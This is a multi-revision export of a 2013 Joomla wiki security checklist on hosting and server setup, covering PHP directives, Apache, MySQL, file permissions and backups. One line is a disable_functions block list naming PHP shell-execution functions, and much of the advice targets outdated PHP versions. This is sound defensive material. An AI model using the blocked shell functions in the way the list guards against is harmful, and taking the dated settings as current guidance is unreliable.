===Consider Using PHP open_basedir===
: You ''might'' consider enabling ''open_basedir''. This directive limits the files that can be opened by PHP to the specified directory-tree. This directive is NOT affected by whether Safe Mode is ON or OFF.

: The restriction specified with open_basedir is a prefix, not a directory name. This means that ''open_basedir = /dir/incl'' allows access to ''/dir/include'' and ''/dir/incls'' if they exist. To restrict access to only the specified directory, end with a slash. For more information, see [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode PHP Security and Safe Mode Configuration Directives].

open_basedir = /home/users/you/public_html

: Additionally, if ''open_basedir'' is set it may be necessary to set PHP ''upload_tmp_dir'' configuration directive to a path that falls within the scope of ''open_basedir'' or, alternatively, add the ''upload_tmp_dir'' path to ''open_basedir'' using the appropriate path separator for the host system.

open_basedir = /home/users/you/public_html:/tmp

: PHP will use the system's temporary directory when ''upload_tmp_dir'' is not set or when it is set but the directory does not exist, therefore it may be necessary to add it to ''open_basedir'' as above to avoid uploading errors within Joomla.

===Adjust magic_quotes_gpc===
: ''' ''This PHP feature has been depreciated as of PHP 5.3.0 (30-06-2009) and has been removed from php as of PHP 5.4.0.'''''

: Adjust the ''magic_quotes_gpc'' directive as needed for your site.

: Joomla! 3.0 and above '''requires''' ''magic_quotes_gpc'' to be set to off and will not install if ''magic_quotes_gpc'' is on.

: Joomla! advises ''magic_quotes_gpc'' to be set to off when using Joomla 2.5.xx.

: Joomla! 1.5 ignores the magic_quotes setting and works fine either way. The safest method is to turn magic_quotes_gpc off and avoid all poorly-written extensions.

: The recommended settings for Joomla! 1.0.x is ON to protect against poorly-written third-party extensions.

: For more information, see either [http://docs.joomla.org/Magic_quotes_and_security Magic quotes and security] or
[http://php.net/magic_quotes PHP Manual, Chapter 31. Magic Quotes].

to turn off magic_quotes_gpc = 0
to turn on magic_quotes_gpc = 1

===Don't use PHP safe_mode===
: ''' ''This PHP feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0'''''

: Relying on this feature is highly discouraged. Avoid the use of PHP safe_mode. This was an attempt to solve shared security problems and provides a false sense of security. Safe mode can also cause ownership problems with applications and any files created by the applications. See the official PHP site for more information. [http://php.net/manual/en/features.safe-mode.php PHP Manual: Safe Mode]

safe_mode = 0

===Don't use PHP register_globals===
: ''' ''This PHP feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0'''''

: Automatically registering global variables was probably one of the dumbest decisions the developers of PHP made. This directive determines whether or not to register the EGPCS (Environment, GET, POST, Cookie, Server) variables as global variables where they become immediately available to all PHP scripts, and where they can easily overwrite your own variable if you're not careful. Luckily, the PHP developers long since realized the mistake and have deprecated this 'feature'.

: If your site is on a shared server with a hosting provider that insists ''register_globals'' must be on, you should be very worried. Although you can often turn register_globals off for your own site with a local php.ini file, this adds little security as other sites on the same server remain vulnerable to attacks which can then launch attacks against your site from within the server.

: For more information, see [http://php.net/manual/en/security.globals.php PHP Manual: Using Register Globals].

register_globals = 0

===Don't use PHP allow_url_include===

: Do not use PHP ''allow_url_include''. This PHP option allows a programmer to include a remote file using an URL rather than a local file path. This is insecure. If an application (or extension) can be tricked into including content from a URL outside itself, an attacker could force the application (or extension) to start running code from their own web site. If an application or extension claims to require this feature to function, you should look into alternatives, as a requirement to use of this feature indicates serious design flaws within the application or extension.

=== Use allow_url_fopen ===
: This option enables the URL-aware fopen wrappers that enable accessing URL object like files. Default wrappers are provided for the access of remote files using the ftp or http protocol, some extensions like zlib may register additional wrappers. Note: This can only be set in php.ini due to security reasons. '''Enable and use allow_url_fopen to allow Joomla's One-Click-Update to work properly.'''

: For more information see: [http://www.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen PHP Manual: allow_url_fopen and allow_url_include ]

Proper setup will have this:
allow_url_fopen = 1
allow_url_include = 0

PHP default: allow_url_fopen is enabled
PHP default: allow_url_include is disabled

==File permissions==
If a joomla installation is hosted on apache with mod_php, then all virtual hosts on that server run in the same context as your joomla code. If the files are owned by some other user than 'nobody' or 'wwwrun', the safest permissions are those which '''prevent''' changes to the joomla code, unless via an authorised channel (e.g. FTP):
*DocumentRoot directory: 750 (e.g. public_html)
*Files: 644
*Directories: 755 (711 if you are paranoid, but not for directories which need to be listed) (owner: some user)

With these permissions set, you will need to use FTP to update your Joomla installation. Not all modules support this. Remove modules which do not support FTP upgrades.
Other processes running under mod_php can read '''your''' configuration.php. You can frustrate automated hacks by renaming this file. You should not store your FTP password in your configuration file on such hosts, as your account ''will'' be compromised.

If a joomla installation is hosted on apache with fast-cgi, suphp or cgi that runs as a different user, then you should set your permissions as follows:
* DocumentRoot directory: 750 (e.g. public_html)
* PHP files: 600 (400 if you are truly paranoid)
* HTML and image files: 644 (444 if you are truly paranoid)
* Directories: 755 (711 if you are paranoid, but not for directories which need to be listed)

==Setup a backup and recovery process==
===The most important rule:'===
: Thou shalt at all time be able to return your site to a previous working state through regular use of a strong, off-site backup and recovery process. Be sure your backup and recovery process is in place and tested BEFORE you go live. This is the single best way (and often the only way) to recover from such inevitable catastrophes as:

# A compromised/cracked site.
# Broken site due to a faulty upgrade.
# Hardware failure, such as dead hard drives, power failures, server theft, etc.
# Authoritarian government intervention. (More common than some think.)
# Needing to quickly relocate to a new server or hosting provider.


[[Category:Security Checklist]]
[[Category:Server configurations]][[Category:Server setup hosted]]

Security Checklist/Hosting and Server Setup

2013-02-20T00:56:07Z

Phild: /* Don't use PHP register_globals */

{{:Security Checklist/TOC}}
== Choose a Qualified Hosting Provider ==

===The most important decision===
: Probably no decision is more critical to site security than the choice of hosts and servers. However, due to the wide variety of hosting options and configurations, it's not possible to provide a complete list for all situations. Check this unbiased [http://resources.joomla.org/directory/support-services/hosting.html list of recommended hosts]who fully meet the security requirements of a typical Joomla site. ([[Security_and_Performance_FAQs#How_do_I_choose_a_quality_hosting_provider.3F|FAQ]])

===Shared server risks===
: If you are on a tight budget and your site does not process highly confidential data, you can probably get by with a shared server, but you must understand the unavoidable risks. Most of the tips listed below are appropriate for securing sites on shared server environments.

===Avoid sloppy server configurations===
: For a real eye-opener, [http://www.nexen.net/articles/dossier/php_configuration_statitstics.php read this report] on thousands of sites that allowed Google to index the results of phpinfo(). Don't make this mistake on your site! The report includes alarming statistics on the percentage of sites that use deprecated settings such as register_globals ON or that don't have open_basedir set at all: By the way, if ''phpini'' and ''register_globals'' are unfamiliar terms you are probably not ready to securely manage your own site.

==Configuring Apache==

===Use Apache .htaccess===
''See also [[htaccess examples (security)|.htaccess examples]]''
: Block typical exploit attempts with local Apache ''.htaccess'' files. This option is not enabled on all servers. Check with your host if you run into problems. Using ''.htaccess'', you can password protect sensitive directories, such as administrator, restrict access to sensitive directories by IP Address, and depending on your server's configuration, you may be able to increase security by switching from PHP4 to PHP5.

: Joomla ships with a [[preconfigured htaccess|preconfigured .htaccess]] file, but *you* need to choose to use it. The file is called htaccess.txt. To use it, rename it to .htaccess and place it in the root of your site using FTP. One important point to note is that as the distributed file is called htaccess.txt and the live file on your site is called .htaccess, the file your site actually uses is NOT updated when you update your site to use to a new version of Joomla. You must manually make the changes to use the new file version. There are significant changes in the file distributed with 1.5.23 onwards and 1.6.2 onwards.

: Consider following the "Least Privilege" principle for running PHP using tools such as PHPsuExec, php_suexec or suPHP. (Note: These are advanced methods that require agreement and coordination with your hosting provider. Such options are enabled or disabled on a server-wide basis and are not individually adjustable on shared servers.) </li>

=== PHP Being Run as an Apache Module. ===

This causes ownership issues and thus permission problems which will lead to security issues. It is better to select a server setup/host that runs php as a cgi process (such as cgi-fcgi) along with using phpSuExec or a similar configuration.

The two best tutorials and explanations on permissions, ownerships and their relations are from this official Joomla doc page

[[Where can you learn more about file permissions?]]

Specific topics to read would be the following two:

[[How do UNIX file permissions work?|Unix Permissions Primer]]

and for information on phpSuExec and similar implementations:

[[Using phpSuExec]]

===Use Apache mod_security===
: Configure Apache mod_security and mod_rewrite filters to block PHP attacks. See [http://www.google.com/search?q=apache%20mod_security Google search for mod_security] and [http://www.google.com/search?q=apache%20mod_rewrite Google search for mod_rewrite]. (Note: These are advanced methods that usually require agreement and coordination with your hosting provider. Such options are enabled or disabled on a server-wide basis and are not individually adjustable on shared servers.)

==Configuring MySQL==

===Secure the database===
: Be sure MySQL accounts are set with limited access. The initial install of MySQL is insecure and careful configuration is required. (See the [http://dev.mysql.com/doc/ MySQL Manuals]) Note: This item applies only to those administering their own servers, such as dedicated servers. Users of shared servers are dependent on their hosting provider to set proper database security.)

== Configuring PHP==

===Understand how PHP works===
: Understand how to work with the php.ini file, and how PHP configurations are controlled. Study the [http://us3.php.net/manual/en/ini.php#ini.list Official List of php.ini Directives] at http://www.php.net, and the well-documented default php.ini file included with every PHP install. Here is the [http://svn.php.net/viewvc/php/php-src/trunk/php.ini-production?view=co latest default php.ini file] on the official PHP site.

===Use PHP5===
PHP 4 is deprecated and has become obsolete. Some hosting providers still have both available on servers to support outdated scripts. Joomla requires PHP5. (See [http://www.joomla.org/technical-requirements.html/ Joomla Requirements])

===Use local php.ini files===
: On shared servers you can't edit the main php.ini file, but you may be able to add custom, local php.ini files. If so, you'll need to copy the php.ini files to every sub-directory that requires custom settings. Luckily a [http://tips-scripts.com/free set of scripts at B & T Scripts and Tips] can do the hard work for you.

: '''There are a few important things to keep in mind.'''

# Local ''php.ini'' files '''''only''''' have an effect if your server is configured to use them. This includes a ''php.ini'' file in your ''http_root'' directory. You can test whether or not these file affect your site by setting an obvious directive in the local ''php.ini'' file to see if it affects your site.
# Local ''php.ini'' files only affect ''.php'' files that are located within the same directory (or included() or required() from those files). This means that there are normally only two Joomla! directories in which you would want to place a ''php.ini'' file. They are your ''http_root''(your actual directory name may vary), which is where Joomla's Front-end ''index.php'' file is located, and the Joomla! ''administrator'' directory, which is where the Back-end administrator ''index.php'' file is located. Other directories that don't have files called via the Web do not need local ''php.ini'' files.
# If you have a ''php.ini'' file in every directory, some script probably did this for you. If you didn't intend it to happen, you probably should root them out, but given #2 above, you probably only have to panic about the ''php.ini'' files in ''http_root'' and the ''administrator'' directories.

===Use PHP disable_functions===
: Use ''disable_functions'' to disable dangerous PHP functions that are not needed by your site. Here is a typical setup for a Joomla! site:

disable_functions = show_source, system, shell_exec, passthru, exec, phpinfo, popen, proc_open

===Consider Using PHP open_basedir===
: You ''might'' consider enabling ''open_basedir''. This directive limits the files that can be opened by PHP to the specified directory-tree. This directive is NOT affected by whether Safe Mode is ON or OFF.

: The restriction specified with open_basedir is a prefix, not a directory name. This means that ''open_basedir = /dir/incl'' allows access to ''/dir/include'' and ''/dir/incls'' if they exist. To restrict access to only the specified directory, end with a slash. For more information, see [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode PHP Security and Safe Mode Configuration Directives].

open_basedir = /home/users/you/public_html

: Additionally, if ''open_basedir'' is set it may be necessary to set PHP ''upload_tmp_dir'' configuration directive to a path that falls within the scope of ''open_basedir'' or, alternatively, add the ''upload_tmp_dir'' path to ''open_basedir'' using the appropriate path separator for the host system.

open_basedir = /home/users/you/public_html:/tmp

: PHP will use the system's temporary directory when ''upload_tmp_dir'' is not set or when it is set but the directory does not exist, therefore it may be necessary to add it to ''open_basedir'' as above to avoid uploading errors within Joomla.

===Adjust magic_quotes_gpc===
: ''' ''This PHP feature has been depreciated as of PHP 5.3.0 (30-06-2009) and has been removed from php as of PHP 5.4.0.'''''

: Adjust the ''magic_quotes_gpc'' directive as needed for your site.

: Joomla! 3.0 and above '''requires''' ''magic_quotes_gpc'' to be set to off and will not install if ''magic_quotes_gpc'' is on.

: Joomla! advises ''magic_quotes_gpc'' to be set to off when using Joomla 2.5.xx.

: Joomla! 1.5 ignores the magic_quotes setting and works fine either way. The safest method is to turn magic_quotes_gpc off and avoid all poorly-written extensions.

: The recommended settings for Joomla! 1.0.x is ON to protect against poorly-written third-party extensions.

For more information, see either [http://docs.joomla.org/Magic_quotes_and_security Magic quotes and security] or
[http://php.net/magic_quotes PHP Manual, Chapter 31. Magic Quotes].

to turn off magic_quotes_gpc = 0
to turn on magic_quotes_gpc = 1

===Don't use PHP safe_mode===
: ''' ''This PHP feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0'''''

: Relying on this feature is highly discouraged. Avoid the use of PHP safe_mode. This was an attempt to solve shared security problems and provides a false sense of security. Safe mode can also cause ownership problems with applications and any files created by the applications. See the official PHP site for more information. [http://php.net/manual/en/features.safe-mode.php PHP Manual: Safe Mode]

safe_mode = 0

===Don't use PHP register_globals===
: ''' ''This PHP feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0'''''

: Automatically registering global variables was probably one of the dumbest decisions the developers of PHP made. This directive determines whether or not to register the EGPCS (Environment, GET, POST, Cookie, Server) variables as global variables where they become immediately available to all PHP scripts, and where they can easily overwrite your own variable if you're not careful. Luckily, the PHP developers long since realized the mistake and have deprecated this 'feature'.

: If your site is on a shared server with a hosting provider that insists ''register_globals'' must be on, you should be very worried. Although you can often turn register_globals off for your own site with a local php.ini file, this adds little security as other sites on the same server remain vulnerable to attacks which can then launch attacks against your site from within the server.

: For more information, see [http://php.net/manual/en/security.globals.php PHP Manual: Using Register Globals].

register_globals = 0

===Don't use PHP allow_url_include===

: Do not use PHP ''allow_url_include''. This PHP option allows a programmer to include a remote file using an URL rather than a local file path. This is insecure. If an application (or extension) can be tricked into including content from a URL outside itself, an attacker could force the application (or extension) to start running code from their own web site. If an application or extension claims to require this feature to function, you should look into alternatives, as a requirement to use of this feature indicates serious design flaws within the application or extension.

=== Use allow_url_fopen ===
: This option enables the URL-aware fopen wrappers that enable accessing URL object like files. Default wrappers are provided for the access of remote files using the ftp or http protocol, some extensions like zlib may register additional wrappers. Note: This can only be set in php.ini due to security reasons. '''Enable and use allow_url_fopen to allow Joomla's One-Click-Update to work properly.'''

: For more information see: [http://www.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen PHP Manual: allow_url_fopen and allow_url_include ]

Proper setup will have this:
allow_url_fopen = 1
allow_url_include = 0

PHP default: allow_url_fopen is enabled
PHP default: allow_url_include is disabled

==File permissions==
If a joomla installation is hosted on apache with mod_php, then all virtual hosts on that server run in the same context as your joomla code. If the files are owned by some other user than 'nobody' or 'wwwrun', the safest permissions are those which '''prevent''' changes to the joomla code, unless via an authorised channel (e.g. FTP):
*DocumentRoot directory: 750 (e.g. public_html)
*Files: 644
*Directories: 755 (711 if you are paranoid, but not for directories which need to be listed) (owner: some user)

With these permissions set, you will need to use FTP to update your Joomla installation. Not all modules support this. Remove modules which do not support FTP upgrades.
Other processes running under mod_php can read '''your''' configuration.php. You can frustrate automated hacks by renaming this file. You should not store your FTP password in your configuration file on such hosts, as your account ''will'' be compromised.

If a joomla installation is hosted on apache with fast-cgi, suphp or cgi that runs as a different user, then you should set your permissions as follows:
* DocumentRoot directory: 750 (e.g. public_html)
* PHP files: 600 (400 if you are truly paranoid)
* HTML and image files: 644 (444 if you are truly paranoid)
* Directories: 755 (711 if you are paranoid, but not for directories which need to be listed)

==Setup a backup and recovery process==
===The most important rule:'===
: Thou shalt at all time be able to return your site to a previous working state through regular use of a strong, off-site backup and recovery process. Be sure your backup and recovery process is in place and tested BEFORE you go live. This is the single best way (and often the only way) to recover from such inevitable catastrophes as:

# A compromised/cracked site.
# Broken site due to a faulty upgrade.
# Hardware failure, such as dead hard drives, power failures, server theft, etc.
# Authoritarian government intervention. (More common than some think.)
# Needing to quickly relocate to a new server or hosting provider.


[[Category:Security Checklist]]
[[Category:Server configurations]][[Category:Server setup hosted]]

Security Checklist/Hosting and Server Setup

2013-02-20T00:55:39Z

Phild: /* Don't use PHP register_globals */ fixed external broken/non existent link to register_globals

{{:Security Checklist/TOC}}
== Choose a Qualified Hosting Provider ==

===The most important decision===
: Probably no decision is more critical to site security than the choice of hosts and servers. However, due to the wide variety of hosting options and configurations, it's not possible to provide a complete list for all situations. Check this unbiased [http://resources.joomla.org/directory/support-services/hosting.html list of recommended hosts]who fully meet the security requirements of a typical Joomla site. ([[Security_and_Performance_FAQs#How_do_I_choose_a_quality_hosting_provider.3F|FAQ]])

===Shared server risks===
: If you are on a tight budget and your site does not process highly confidential data, you can probably get by with a shared server, but you must understand the unavoidable risks. Most of the tips listed below are appropriate for securing sites on shared server environments.

===Avoid sloppy server configurations===
: For a real eye-opener, [http://www.nexen.net/articles/dossier/php_configuration_statitstics.php read this report] on thousands of sites that allowed Google to index the results of phpinfo(). Don't make this mistake on your site! The report includes alarming statistics on the percentage of sites that use deprecated settings such as register_globals ON or that don't have open_basedir set at all: By the way, if ''phpini'' and ''register_globals'' are unfamiliar terms you are probably not ready to securely manage your own site.

==Configuring Apache==

===Use Apache .htaccess===
''See also [[htaccess examples (security)|.htaccess examples]]''
: Block typical exploit attempts with local Apache ''.htaccess'' files. This option is not enabled on all servers. Check with your host if you run into problems. Using ''.htaccess'', you can password protect sensitive directories, such as administrator, restrict access to sensitive directories by IP Address, and depending on your server's configuration, you may be able to increase security by switching from PHP4 to PHP5.

: Joomla ships with a [[preconfigured htaccess|preconfigured .htaccess]] file, but *you* need to choose to use it. The file is called htaccess.txt. To use it, rename it to .htaccess and place it in the root of your site using FTP. One important point to note is that as the distributed file is called htaccess.txt and the live file on your site is called .htaccess, the file your site actually uses is NOT updated when you update your site to use to a new version of Joomla. You must manually make the changes to use the new file version. There are significant changes in the file distributed with 1.5.23 onwards and 1.6.2 onwards.

: Consider following the "Least Privilege" principle for running PHP using tools such as PHPsuExec, php_suexec or suPHP. (Note: These are advanced methods that require agreement and coordination with your hosting provider. Such options are enabled or disabled on a server-wide basis and are not individually adjustable on shared servers.) </li>

=== PHP Being Run as an Apache Module. ===

This causes ownership issues and thus permission problems which will lead to security issues. It is better to select a server setup/host that runs php as a cgi process (such as cgi-fcgi) along with using phpSuExec or a similar configuration.

The two best tutorials and explanations on permissions, ownerships and their relations are from this official Joomla doc page

[[Where can you learn more about file permissions?]]

Specific topics to read would be the following two:

[[How do UNIX file permissions work?|Unix Permissions Primer]]

and for information on phpSuExec and similar implementations:

[[Using phpSuExec]]

===Use Apache mod_security===
: Configure Apache mod_security and mod_rewrite filters to block PHP attacks. See [http://www.google.com/search?q=apache%20mod_security Google search for mod_security] and [http://www.google.com/search?q=apache%20mod_rewrite Google search for mod_rewrite]. (Note: These are advanced methods that usually require agreement and coordination with your hosting provider. Such options are enabled or disabled on a server-wide basis and are not individually adjustable on shared servers.)

==Configuring MySQL==

===Secure the database===
: Be sure MySQL accounts are set with limited access. The initial install of MySQL is insecure and careful configuration is required. (See the [http://dev.mysql.com/doc/ MySQL Manuals]) Note: This item applies only to those administering their own servers, such as dedicated servers. Users of shared servers are dependent on their hosting provider to set proper database security.)

== Configuring PHP==

===Understand how PHP works===
: Understand how to work with the php.ini file, and how PHP configurations are controlled. Study the [http://us3.php.net/manual/en/ini.php#ini.list Official List of php.ini Directives] at http://www.php.net, and the well-documented default php.ini file included with every PHP install. Here is the [http://svn.php.net/viewvc/php/php-src/trunk/php.ini-production?view=co latest default php.ini file] on the official PHP site.

===Use PHP5===
PHP 4 is deprecated and has become obsolete. Some hosting providers still have both available on servers to support outdated scripts. Joomla requires PHP5. (See [http://www.joomla.org/technical-requirements.html/ Joomla Requirements])

===Use local php.ini files===
: On shared servers you can't edit the main php.ini file, but you may be able to add custom, local php.ini files. If so, you'll need to copy the php.ini files to every sub-directory that requires custom settings. Luckily a [http://tips-scripts.com/free set of scripts at B & T Scripts and Tips] can do the hard work for you.

: '''There are a few important things to keep in mind.'''

# Local ''php.ini'' files '''''only''''' have an effect if your server is configured to use them. This includes a ''php.ini'' file in your ''http_root'' directory. You can test whether or not these file affect your site by setting an obvious directive in the local ''php.ini'' file to see if it affects your site.
# Local ''php.ini'' files only affect ''.php'' files that are located within the same directory (or included() or required() from those files). This means that there are normally only two Joomla! directories in which you would want to place a ''php.ini'' file. They are your ''http_root''(your actual directory name may vary), which is where Joomla's Front-end ''index.php'' file is located, and the Joomla! ''administrator'' directory, which is where the Back-end administrator ''index.php'' file is located. Other directories that don't have files called via the Web do not need local ''php.ini'' files.
# If you have a ''php.ini'' file in every directory, some script probably did this for you. If you didn't intend it to happen, you probably should root them out, but given #2 above, you probably only have to panic about the ''php.ini'' files in ''http_root'' and the ''administrator'' directories.

===Use PHP disable_functions===
: Use ''disable_functions'' to disable dangerous PHP functions that are not needed by your site. Here is a typical setup for a Joomla! site:

disable_functions = show_source, system, shell_exec, passthru, exec, phpinfo, popen, proc_open

===Consider Using PHP open_basedir===
: You ''might'' consider enabling ''open_basedir''. This directive limits the files that can be opened by PHP to the specified directory-tree. This directive is NOT affected by whether Safe Mode is ON or OFF.

: The restriction specified with open_basedir is a prefix, not a directory name. This means that ''open_basedir = /dir/incl'' allows access to ''/dir/include'' and ''/dir/incls'' if they exist. To restrict access to only the specified directory, end with a slash. For more information, see [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode PHP Security and Safe Mode Configuration Directives].

open_basedir = /home/users/you/public_html

: Additionally, if ''open_basedir'' is set it may be necessary to set PHP ''upload_tmp_dir'' configuration directive to a path that falls within the scope of ''open_basedir'' or, alternatively, add the ''upload_tmp_dir'' path to ''open_basedir'' using the appropriate path separator for the host system.

open_basedir = /home/users/you/public_html:/tmp

: PHP will use the system's temporary directory when ''upload_tmp_dir'' is not set or when it is set but the directory does not exist, therefore it may be necessary to add it to ''open_basedir'' as above to avoid uploading errors within Joomla.

===Adjust magic_quotes_gpc===
: ''' ''This PHP feature has been depreciated as of PHP 5.3.0 (30-06-2009) and has been removed from php as of PHP 5.4.0.'''''

: Adjust the ''magic_quotes_gpc'' directive as needed for your site.

: Joomla! 3.0 and above '''requires''' ''magic_quotes_gpc'' to be set to off and will not install if ''magic_quotes_gpc'' is on.

: Joomla! advises ''magic_quotes_gpc'' to be set to off when using Joomla 2.5.xx.

: Joomla! 1.5 ignores the magic_quotes setting and works fine either way. The safest method is to turn magic_quotes_gpc off and avoid all poorly-written extensions.

: The recommended settings for Joomla! 1.0.x is ON to protect against poorly-written third-party extensions.

For more information, see either [http://docs.joomla.org/Magic_quotes_and_security Magic quotes and security] or
[http://php.net/magic_quotes PHP Manual, Chapter 31. Magic Quotes].

to turn off magic_quotes_gpc = 0
to turn on magic_quotes_gpc = 1

===Don't use PHP safe_mode===
: ''' ''This PHP feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0'''''

: Relying on this feature is highly discouraged. Avoid the use of PHP safe_mode. This was an attempt to solve shared security problems and provides a false sense of security. Safe mode can also cause ownership problems with applications and any files created by the applications. See the official PHP site for more information. [http://php.net/manual/en/features.safe-mode.php PHP Manual: Safe Mode]

safe_mode = 0

===Don't use PHP register_globals===
: ''' ''This PHP feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0'''''

: Automatically registering global variables was probably one of the dumbest decisions the developers of PHP made. This directive determines whether or not to register the EGPCS (Environment, GET, POST, Cookie, Server) variables as global variables where they become immediately available to all PHP scripts, and where they can easily overwrite your own variable if you're not careful. Luckily, the PHP developers long since realized the mistake and have deprecated this 'feature'.

: If your site is on a shared server with a hosting provider that insists ''register_globals'' must be on, you should be very worried. Although you can often turn register_globals off for your own site with a local php.ini file, this adds little security as other sites on the same server remain vulnerable to attacks which can then launch attacks against your site from within the server. For more information, see [http://php.net/manual/en/security.globals.php PHP Manual: Using Register Globals].

register_globals = 0

===Don't use PHP allow_url_include===

: Do not use PHP ''allow_url_include''. This PHP option allows a programmer to include a remote file using an URL rather than a local file path. This is insecure. If an application (or extension) can be tricked into including content from a URL outside itself, an attacker could force the application (or extension) to start running code from their own web site. If an application or extension claims to require this feature to function, you should look into alternatives, as a requirement to use of this feature indicates serious design flaws within the application or extension.

=== Use allow_url_fopen ===
: This option enables the URL-aware fopen wrappers that enable accessing URL object like files. Default wrappers are provided for the access of remote files using the ftp or http protocol, some extensions like zlib may register additional wrappers. Note: This can only be set in php.ini due to security reasons. '''Enable and use allow_url_fopen to allow Joomla's One-Click-Update to work properly.'''

: For more information see: [http://www.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen PHP Manual: allow_url_fopen and allow_url_include ]

Proper setup will have this:
allow_url_fopen = 1
allow_url_include = 0

PHP default: allow_url_fopen is enabled
PHP default: allow_url_include is disabled

==File permissions==
If a joomla installation is hosted on apache with mod_php, then all virtual hosts on that server run in the same context as your joomla code. If the files are owned by some other user than 'nobody' or 'wwwrun', the safest permissions are those which '''prevent''' changes to the joomla code, unless via an authorised channel (e.g. FTP):
*DocumentRoot directory: 750 (e.g. public_html)
*Files: 644
*Directories: 755 (711 if you are paranoid, but not for directories which need to be listed) (owner: some user)

With these permissions set, you will need to use FTP to update your Joomla installation. Not all modules support this. Remove modules which do not support FTP upgrades.
Other processes running under mod_php can read '''your''' configuration.php. You can frustrate automated hacks by renaming this file. You should not store your FTP password in your configuration file on such hosts, as your account ''will'' be compromised.

If a joomla installation is hosted on apache with fast-cgi, suphp or cgi that runs as a different user, then you should set your permissions as follows:
* DocumentRoot directory: 750 (e.g. public_html)
* PHP files: 600 (400 if you are truly paranoid)
* HTML and image files: 644 (444 if you are truly paranoid)
* Directories: 755 (711 if you are paranoid, but not for directories which need to be listed)

==Setup a backup and recovery process==
===The most important rule:'===
: Thou shalt at all time be able to return your site to a previous working state through regular use of a strong, off-site backup and recovery process. Be sure your backup and recovery process is in place and tested BEFORE you go live. This is the single best way (and often the only way) to recover from such inevitable catastrophes as:

# A compromised/cracked site.
# Broken site due to a faulty upgrade.
# Hardware failure, such as dead hard drives, power failures, server theft, etc.
# Authoritarian government intervention. (More common than some think.)
# Needing to quickly relocate to a new server or hosting provider.


[[Category:Security Checklist]]
[[Category:Server configurations]][[Category:Server setup hosted]]

Security Checklist/Hosting and Server Setup

2013-02-20T00:51:48Z

Phild: /* Don't use PHP safe_mode */ external link was broken and updated general info on safe mode

{{:Security Checklist/TOC}}
== Choose a Qualified Hosting Provider ==

===The most important decision===
: Probably no decision is more critical to site security than the choice of hosts and servers. However, due to the wide variety of hosting options and configurations, it's not possible to provide a complete list for all situations. Check this unbiased [http://resources.joomla.org/directory/support-services/hosting.html list of recommended hosts]who fully meet the security requirements of a typical Joomla site. ([[Security_and_Performance_FAQs#How_do_I_choose_a_quality_hosting_provider.3F|FAQ]])

===Shared server risks===
: If you are on a tight budget and your site does not process highly confidential data, you can probably get by with a shared server, but you must understand the unavoidable risks. Most of the tips listed below are appropriate for securing sites on shared server environments.

===Avoid sloppy server configurations===
: For a real eye-opener, [http://www.nexen.net/articles/dossier/php_configuration_statitstics.php read this report] on thousands of sites that allowed Google to index the results of phpinfo(). Don't make this mistake on your site! The report includes alarming statistics on the percentage of sites that use deprecated settings such as register_globals ON or that don't have open_basedir set at all: By the way, if ''phpini'' and ''register_globals'' are unfamiliar terms you are probably not ready to securely manage your own site.

==Configuring Apache==

===Use Apache .htaccess===
''See also [[htaccess examples (security)|.htaccess examples]]''
: Block typical exploit attempts with local Apache ''.htaccess'' files. This option is not enabled on all servers. Check with your host if you run into problems. Using ''.htaccess'', you can password protect sensitive directories, such as administrator, restrict access to sensitive directories by IP Address, and depending on your server's configuration, you may be able to increase security by switching from PHP4 to PHP5.

: Joomla ships with a [[preconfigured htaccess|preconfigured .htaccess]] file, but *you* need to choose to use it. The file is called htaccess.txt. To use it, rename it to .htaccess and place it in the root of your site using FTP. One important point to note is that as the distributed file is called htaccess.txt and the live file on your site is called .htaccess, the file your site actually uses is NOT updated when you update your site to use to a new version of Joomla. You must manually make the changes to use the new file version. There are significant changes in the file distributed with 1.5.23 onwards and 1.6.2 onwards.

: Consider following the "Least Privilege" principle for running PHP using tools such as PHPsuExec, php_suexec or suPHP. (Note: These are advanced methods that require agreement and coordination with your hosting provider. Such options are enabled or disabled on a server-wide basis and are not individually adjustable on shared servers.) </li>

=== PHP Being Run as an Apache Module. ===

This causes ownership issues and thus permission problems which will lead to security issues. It is better to select a server setup/host that runs php as a cgi process (such as cgi-fcgi) along with using phpSuExec or a similar configuration.

The two best tutorials and explanations on permissions, ownerships and their relations are from this official Joomla doc page

[[Where can you learn more about file permissions?]]

Specific topics to read would be the following two:

[[How do UNIX file permissions work?|Unix Permissions Primer]]

and for information on phpSuExec and similar implementations:

[[Using phpSuExec]]

===Use Apache mod_security===
: Configure Apache mod_security and mod_rewrite filters to block PHP attacks. See [http://www.google.com/search?q=apache%20mod_security Google search for mod_security] and [http://www.google.com/search?q=apache%20mod_rewrite Google search for mod_rewrite]. (Note: These are advanced methods that usually require agreement and coordination with your hosting provider. Such options are enabled or disabled on a server-wide basis and are not individually adjustable on shared servers.)

==Configuring MySQL==

===Secure the database===
: Be sure MySQL accounts are set with limited access. The initial install of MySQL is insecure and careful configuration is required. (See the [http://dev.mysql.com/doc/ MySQL Manuals]) Note: This item applies only to those administering their own servers, such as dedicated servers. Users of shared servers are dependent on their hosting provider to set proper database security.)

== Configuring PHP==

===Understand how PHP works===
: Understand how to work with the php.ini file, and how PHP configurations are controlled. Study the [http://us3.php.net/manual/en/ini.php#ini.list Official List of php.ini Directives] at http://www.php.net, and the well-documented default php.ini file included with every PHP install. Here is the [http://svn.php.net/viewvc/php/php-src/trunk/php.ini-production?view=co latest default php.ini file] on the official PHP site.

===Use PHP5===
PHP 4 is deprecated and has become obsolete. Some hosting providers still have both available on servers to support outdated scripts. Joomla requires PHP5. (See [http://www.joomla.org/technical-requirements.html/ Joomla Requirements])

===Use local php.ini files===
: On shared servers you can't edit the main php.ini file, but you may be able to add custom, local php.ini files. If so, you'll need to copy the php.ini files to every sub-directory that requires custom settings. Luckily a [http://tips-scripts.com/free set of scripts at B & T Scripts and Tips] can do the hard work for you.

: '''There are a few important things to keep in mind.'''

